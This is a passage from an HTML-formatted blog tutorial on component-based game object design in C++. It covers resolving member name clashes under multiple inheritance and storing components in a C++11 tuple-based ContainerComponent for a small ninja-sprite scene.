&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Ninja&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
	&lt;span class="cm"&gt;/* from transform component */&lt;/span&gt;
	&lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;modelMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
	&lt;span class="cm"&gt;/* to render component */&lt;/span&gt;
    &lt;span class="n"&gt;SetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modelMatrix&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;No matter how absurd this code looks, it works. We can improve this, and while doing that we shall also address another important issue with multiple inheritance, name clashing.&lt;/p&gt;

&lt;p&gt;Since, our GameObject is now split into multiple files we can easily get name clashing. For example both RenderComponent and TransformComponent can have a member named&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;modelMatrix&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Or, both PhysicsComponent and CustomComponent can have a member function named:&lt;/p&gt;

&lt;p&gt;void Update(const int dt);
How do we resolve this issue? One way is to adopt a naming convention, like say every PhysicsComponent will have a ‘phy’ prefix appended before every member function and data member. That would reduce our code to:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Ninja&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
	&lt;span class="cm"&gt;/* from transform component */&lt;/span&gt;
	&lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;modelMatrix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;transGetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
	&lt;span class="cm"&gt;/* to render component */&lt;/span&gt;
    &lt;span class="n"&gt;rendrSetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;modelMatrix&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We all agree that following a naming convention is very hard. So this solution might not work in long term. A better way out is to encapsulate all the core logic out of the component to another core class. The TransformComponent could be reduced to:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TransformComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="cm"&gt;/** Create default Transform component */&lt;/span&gt;
    &lt;span class="n"&gt;TransformComponent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
&lt;span class="nl"&gt;protected:&lt;/span&gt;
    &lt;span class="n"&gt;Transform&lt;/span&gt; &lt;span class="n"&gt;transform_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Transform&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="cm"&gt;/** Create default Transform */&lt;/span&gt;
    &lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;position&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GLKVector2Make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
              &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Degree&lt;/span&gt; &lt;span class="n"&gt;rotation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="n"&gt;GetPosition&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;SetPosition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    
    &lt;span class="cm"&gt;/** Get angle in degrees */&lt;/span&gt;
    &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;GetRotation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="cm"&gt;/** Set rotation in degrees
     * @param rotation Angle in degrees.
     */&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;SetRotation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Degree&lt;/span&gt; &lt;span class="n"&gt;rotation&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    
    &lt;span class="cm"&gt;/** Get the model matrix of the transform to take things from model space to
     * the world space
     */&lt;/span&gt;
    &lt;span class="n"&gt;GLKMatrix4&lt;/span&gt; &lt;span class="n"&gt;GetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="n"&gt;position_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;Degree&lt;/span&gt; &lt;span class="n"&gt;rotation_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With such pattern implemented, our same code would look like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Ninja&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;renderer_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;transform_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetModelMatrix&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;OK, with that taken care of, let’s now focus on the fitting the pieces together. Let’s begin with updating the commonly used GameObject configurations to proper C++ types:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Actor&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;GameObject&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;TransformComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PhysicsComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RenderComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CustomComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Transform&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;trans&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Mesh&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mesh&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Sprite&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;TransformComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RenderComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CustomComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Transform&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;trans&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Mesh&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;mesh&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Trigger&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;GameObject&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;TransformComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PhysicsComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CustomComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;Transform&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;trans&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;LoadShader&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;LoadMesh&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* load entities */&lt;/span&gt;
    &lt;span class="n"&gt;background_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;meshMap_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;ninja_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;meshMap_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;hiddenBonus_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lets now implement the loop. The trickiest part of the loop is that we need to call Update() on every object that has a CustomComponent and Render() on objects that implement RenderComponent. Notice, so far we haven’t implemented any virtual functions, so can not depend on the runtime to select the correct function. What we actually need is something like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* update all custom components */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;glClear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GL_COLOR_BUFFER_BIT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* bind all pieces to the GL pipeline */&lt;/span&gt;
    &lt;span class="n"&gt;meshMem_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Enable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;shader_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Enable&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* render all render components */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What we actually need some sort of container class that hold all types of Components. The first thought that hits the brain is to have a std::vector of Component of every kind. And from our experience we already know this sort of patterns doesn’t scales well. But using the power of C++11 and tuples we implement that in a much better way. Let’s add a ContainerComponent as:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="nc"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ContainerComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;protected:&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;tuple&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Component&lt;/span&gt;&lt;span class="o"&gt;*&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, ContainerComponent is capable of holding any number of components of any size. Think of it as a class that can possess compile time flexibility to hold any kind of components and at runtime we can add and remove instances of those component classes.&lt;/p&gt;

&lt;p&gt;Now we can update our plain Scene class to be a GameObject that has a ContainerComponent. The ContainerComponent is capable of holding two kind of Components, the CustomComponent and the RenderComponent:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Scene&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;GameObject&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
	&lt;span class="n"&gt;ContainerComponent&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
		&lt;span class="n"&gt;CustomComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
		&lt;span class="n"&gt;RenderComponent&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
	&lt;span class="cm"&gt;/* ... */&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The only important thing to remember is that the order matters. Because this is a tuple we have to remember the index of Component type.&lt;/p&gt;

&lt;p&gt;Our new updated Load() now looks like:&lt;/p&gt;
&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;Scene&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;GLKVector2&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;LoadShader&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;LoadMesh&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* load entities */&lt;/span&gt;
    &lt;span class="n"&gt;background_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;meshMap_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;background_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;background_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    
    &lt;span class="n"&gt;ninja_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;meshMap_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ninja_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ninja_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;hiddenBonus_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;children_&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;push_back&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hiddenBonus_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The power of C++ compile time checks comes into play when we do something illegal, such as:&lt;/p&gt;
